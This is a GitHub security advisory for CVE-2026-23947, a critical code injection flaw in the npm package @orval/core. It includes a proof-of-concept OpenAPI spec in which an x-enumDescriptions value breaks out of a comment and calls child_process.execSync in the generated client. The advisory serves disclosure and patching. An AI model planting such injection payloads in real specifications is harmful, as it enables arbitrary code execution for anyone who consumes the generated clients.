GitHub Advisoryadvisory · npm
GHSA-h526-wf6g-67jv Orval has a code injection via unsanitized x-enum-descriptions in enum generation
CRITICAL
Official page ↗
- Aliases
- CVE-2026-23947
- Ecosystem
- npm
- Packages
- @orval/core
- Severity
- Critical
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-77, CWE-94
- Reviewed
- 2026-01-21
Affected packages
• npm @orval/core: >= 8.0.0-rc.0, < 8.0.2 → fixed in 8.0.2
• npm @orval/core: < 7.19.0 → fixed in 7.19.0
Description
Impact
Arbitrary code execution in environments consuming generated clients
This issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.
The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.
Patches
Upgrade to Orval 8.0.2
References
An example OpenAPI showing the issue:
```yaml
openapi: 3.0.4
info:
title: Enum PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
"200":
description: ok
content:
application/json:
schema:
$ref: "#/components/schemas/EvilEnum"
components:
schemas:
EvilEnum:
type: string
enum:
• PWNED
x-enumDescriptions:
• "pwned */ require('child_process').execSync('id'); /*"
```
Related
Alias · CVE (1)
- CVE-2026-23947 Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. vulnerability
References
- https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv web
- https://nvd.nist.gov/vuln/detail/CVE-2026-23947 advisory
- https://github.com/orval-labs/orval/commit/9e5d93533904936678ba93b5d20f6bca176a4e1e web
- https://github.com/orval-labs/orval package
- https://github.com/orval-labs/orval/releases/tag/v7.19.0 web
- https://github.com/orval-labs/orval/releases/tag/v8.0.2 web